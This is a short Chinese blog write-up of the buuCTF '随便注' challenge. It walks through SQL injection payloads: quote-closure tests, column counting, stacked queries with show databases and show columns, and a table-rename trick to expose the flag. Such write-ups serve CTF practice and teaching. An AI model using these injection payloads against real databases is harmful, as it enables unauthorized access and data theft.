buuCTF 随便注 思想感悟

通常上来就是判断字符型还是数字型注入

1 and 1 = 1

1 and 1 = 2

发现都可以显示 可以判断为字符型

*****

之后判断字符型的闭合符

1'and1=1

 报错如上

1‘ and 1 = 1 # ---将多余的'注释掉

接下来 开始查询有关数据库的各种信息

常规的联合查询

在联合union查询前,先判断列数是否一致

多次试错得到

1’ group by 2# 正确

接下来

1' union select 1,2#

 显示如上,得知以上关键字都被过滤了 但发现 show并没有

1';show databases;#

显示了一些数据库名字

 

检查各个数据库的字段名

0';show columns from 'words';#

0'; show columns from `1919810931114514`;#

将0改为1的意思是 将最开始的显示去除

 

words表有两个属性id和data

1919810931114514表有一个属性

猜想输入框查询的可能是words表

后台的查询语句

select id,data from words where id=

接下来思考 如何获得flag

 

将1919810931114514表的名字 改为 words表,

把flag属性名改为id

 

 

最后用

 1' or 1 = 1;#

显示出来

 

posted @ 2023-05-18 00:29  冰人——  阅读(11)  评论(0)    收藏  举报